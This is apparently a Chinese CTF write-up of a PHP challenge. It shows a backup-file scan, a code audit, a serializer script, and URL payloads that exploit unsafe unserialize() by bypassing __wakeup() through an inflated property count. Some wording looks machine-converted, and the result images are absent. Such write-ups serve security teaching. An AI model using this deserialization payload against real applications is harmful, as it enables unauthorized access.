打開網頁,是一個會動的貓,貓會盯着毛線球,還會伸爪子玩,咳咳,網頁提示:

一看到備份,就直接掃描呗,掃到一個檔案www.zip,
通路,下載下傳,解壓,檢視:
flag!可惜是假的…然後檢視另外的檔案,在index.php中發現了一段php代碼:
class.php裡是一大段php代碼:
審計完成後,大概是在index.php中包含class.php檔案,然後get方式傳入一個select參數,并且将結果反序列化,class.php中如果username=admin,password=100然後我們再執行__destruct()時可以獲得flag。
構造反序列化(複制大佬的腳本):
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
運作結果:
将結果儲存:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
将這個結果傳給select,這時候問題來了,在反序列化的時候會首先執行__wakeup()魔術方法,但是這個方法會把我們的username重新指派,是以我們要考慮的就是怎麼跳過__wakeup(),而去執行__destruct在反序列化時,目前屬性個數大于實際屬性個數時,就會跳過__wakeup(),去執行__destruct,構造payload,将屬性個數改為3:
?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
然後我們就會發現實際的字元串長度和他說明的不相符,意識到,這個變量為私有變量,隻在所聲明的類中可見,在該類的子類和該類的對象執行個體中均不可見。是以私有變量的變量名在序列化時,類名和變量名前面都會加上“\0”的字首。字元串長度也包括所加字首的長度,再次構造payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到flag: